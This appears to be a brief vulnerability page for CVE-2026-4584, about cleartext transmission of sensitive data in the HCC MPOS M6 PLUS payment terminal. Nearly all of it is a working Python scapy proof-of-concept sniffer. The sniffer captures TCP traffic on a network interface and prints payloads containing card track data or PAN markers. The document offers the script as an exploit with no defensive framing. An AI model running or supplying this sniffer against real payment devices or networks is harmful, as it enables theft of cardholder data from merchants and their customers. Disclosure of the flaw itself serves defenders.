CVE-2026-4584: HCC MPOS M6 PLUS敏感信息明文传输漏洞

import scapy.all as scapy def start_sniffing(interface): """ Sniff traffic on the specified interface to capture cleartext data. Requires root privileges. """ print(f"[*] Starting sniffing on {interface}...") # Filter for TCP packets usually associated with MPOS data scapy.sniff(iface=interface, store=False, prn=process_packet, filter="tcp") def process_packet(packet): if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load # Check for potential cleartext sensitive patterns (e.g., track data) # This is a generic check; specific patterns depend on the MPOS protocol if b"%B" in payload or b"PAN" in payload: print(f"[!] Possible Cleartext Sensitive Data Captured: {payload}") # Example usage: # start_sniffing("eth0")